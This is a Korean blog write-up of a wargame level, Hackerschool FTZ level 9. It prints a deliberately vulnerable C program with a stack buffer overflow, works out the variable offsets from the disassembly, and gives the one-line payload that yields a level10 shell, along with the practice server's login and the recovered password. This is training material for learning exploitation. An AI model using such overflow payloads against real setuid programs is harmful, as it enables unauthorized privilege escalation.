Hackerschool FTZ level9

2011. 7. 17. 13:21·Wargame/FTZ
Category : System hacking

ssh://ftz.hackerschool.org
id : level9
pw : apple

Summary : overflow , overwrite another variable


서버에 접속하여 문제 파일을 확인한다.

[level9@ftz level9]$ ls -l
합계 12
-rw-r--r--    1 root     root          391 11월 13  2002 hint
drwxr-xr-x    2 root     level9       4096  2월 24  2002 public_html
drwxrwxr-x    2 root     level9       4096  7월 10 02:40 tmp
[level9@ftz level9]$ cat hint


다음은 /usr/bin/bof의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(){
 
  char buf2[10];
  char buf[10];
 
  printf("It can be overflow : ");
  fgets(buf,40,stdin);
 
  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }
 
}  

이를 이용하여 level10의 권한을 얻어라.

 


할당된 buf의 크기를 초과하여 입력받기 때문에 overflow 취약점이 존재한다.
이로 인해 buf2배열을 마음대로 조작할 수 있다.
그런데 buf2의 첫 2글자가 "go"라면 level10 user의 쉘을 실행해주기 때문에 overflow취약점을 이용해 buf2의 첫 2글자를 조작해주어야한다.

지역변수 공간의 크기와 변수간의 offset만 알아도 공격에 성공할 수 있다.

..................
0x08048503 <main+3>: sub    $0x28,%esp
..................
0x08048530 <main+48>: push   $0x2
0x08048532 <main+50>: push   $0x80485fe
0x08048537 <main+55>: lea    0xffffffe8(%ebp),%eax
0x0804853a <main+58>: push   %eax
0x0804853b <main+59>: call   0x80483bc <strncmp>
..................

buf는 ebp-40부터 시작하며 , buf2는ebp-24부터시작한다.
그러므로 아무문자로 16byte를 채워주고 "go"라는 문자열을 입력하면 buf2에 "go"가 입력되어 level10 user의 쉘을 획득할 수 있다.

[level9@ftz level9]$ (python -c 'print "a"*16 + "go"';cat) | bof
It can be overflow : Good Skill!
id
uid=3010(level10) gid=3009(level9) groups=3009(level9)
my-pass

Level10 Password is "interesting to hack!".


level10 user의 쉘을 획득하고 password를 얻었다.

'Wargame > FTZ' 카테고리의 다른 글

Hackerschool FTZ level11  (0) 2011.07.19
Hackerschool FTZ level10  (2) 2011.07.17
Hackerschool FTZ level8  (0) 2011.07.17
Hackerschool FTZ level7  (0) 2011.07.17
Hackerschool FTZ level6  (0) 2011.07.17
'Wargame/FTZ' 카테고리의 다른 글
  • Hackerschool FTZ level11
  • Hackerschool FTZ level10
  • Hackerschool FTZ level8
  • Hackerschool FTZ level7
pwn3r_45
pwn3r_45
  • pwn3r_45
    pwn3r_45
    pwn3r_45
  • 전체
    오늘
    어제
    • View All (155)
      • Paper (0)
        • Power Grid (0)
        • Software_Kernel (0)
        • Exploitation (0)
        • RTOS (0)
        • UAV (0)
        • SCADA (0)
      • Articles (0)
      • Personal (18)
      • Technical Note (9)
        • Hardware (1)
        • Vulnerability Research (8)
        • Binary Exploitation (5)
        • PR23 (0)
        • Vulnerability (1)
        • Linux Kernel (1)
        • 현대암호 (0)
      • CTF (90)
        • 2025 (0)
        • 2024 (1)
        • 2023 (5)
        • 2019 (5)
        • 2018 (20)
        • 2017 (7)
        • 2016 (6)
        • 2015 (1)
        • 2014 (3)
        • 2013 (14)
        • 2012 (6)
      • Wargame (22)
        • FTZ (13)
        • Lord Of Bof - Redhat 6.2 (0)
        • IO.smashthestack.org (5)
        • Amateria.smashthestack.org (0)
        • pwnable.tw (0)
        • Vortex.overthewire.org (3)
        • Webhacking.kr (0)
        • reversing.kr (0)
        • dreamhack.io (0)
        • CodeEngn (1)
      • Reverse engineering (1)
      • Issue (13)
        • Conference_CTF info (13)
      • Coding (0)
        • C# (0)
      • ETC (2)
      • 미완성 (0)
  • 블로그 메뉴

    • Home
    • Tag
    • MediaLog
    • LocationLog
    • Guestbook
    • Admin
    • Write
  • 링크

    • 6l4ck3y3
    • idkwim
    • gogil
    • dakuo
    • badcob
    • 임준오씨 블로그
    • 김용진씨 블로그
    • david942j
    • orange tsai
    • pwndiary
    • theori
    • tacxingxing
    • jinmo123's team blog
    • ConS-tanT
    • jaybosamiya
    • procdiaru
  • 공지사항

  • 인기 글

  • 태그

    POC
    gnuboard
    csaw
    csaw ctf
    power of community
    후기
    web
    HUST
    vuln
    pwnables
    HUST2011
    정보보호올림피아드
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
pwn3r_45
Hackerschool FTZ level9
상단으로

티스토리툴바